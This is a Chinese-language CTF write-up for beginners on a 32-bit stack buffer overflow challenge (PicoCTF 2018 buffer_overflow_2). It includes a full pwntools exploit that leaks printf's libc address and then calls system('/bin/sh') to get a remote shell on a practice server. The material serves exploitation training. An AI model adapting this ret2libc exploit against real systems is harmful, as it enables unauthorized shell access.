我这里给刚入门的pwn手们提供一种get shell 的思路
例行检查程序:
还是32位程序,没有canary,很可能是溢出类的。
放到IDA中:
主函数没什么特别,进入vuln()函数看一下:
果然存在溢出漏洞,两次溢出,直接去get shell
第一次溢出去泄露libc地址,第二次溢出get shell
这里我选怎printf()函数作为泄露的函数,同样也可以选择puts()函数,
构造payload :
io.recvuntil(':')
payload = 'A'*0x6c
payload += p32(0)
payload += p32(printf)
payload += p32(main)
payload += p32(elf.got['printf'])
io.sendline(payload)
io.recvuntil('A\n')
leak = u32(io.recv(4))
success(hex(leak))
libc_base = leak - libc.sym['printf']
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh\x00').next()
success(hex(libc_base))
success(hex(system))
success(hex(bin_sh))
拿到地址后,再次溢出,执行system() 函数get shell
payload = 'A'*0x6c
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)
io.recvuntil(':')
io.sendline(payload)
完整exp:
from pwn import *
elf = ELF('./PicoCTF_2018_buffer_overflow_2')
io = remote('node4.buuoj.cn',25773)
libc = ELF('./libc-2.27.so')
context(log_level='debug')
main = 0x804866D
printf = 0x8048420
io.recvuntil(':')
payload = 'A'*0x6c
payload += p32(0)
payload += p32(printf)
payload += p32(main)
payload += p32(elf.got['printf'])
io.sendline(payload)
io.recvuntil('A\n')
leak = u32(io.recv(4))
success(hex(leak))
libc_base = leak - libc.sym['printf']
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh\x00').next()
success(hex(libc_base))
success(hex(system))
success(hex(bin_sh))
payload = 'A'*0x6c
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)
io.recvuntil(':')
io.sendline(payload)
io.interactive()
拿到flag!!
虽然这道题很简单,但在pwn学习之路上我们要打好基础,为后续更深入学习做好铺垫.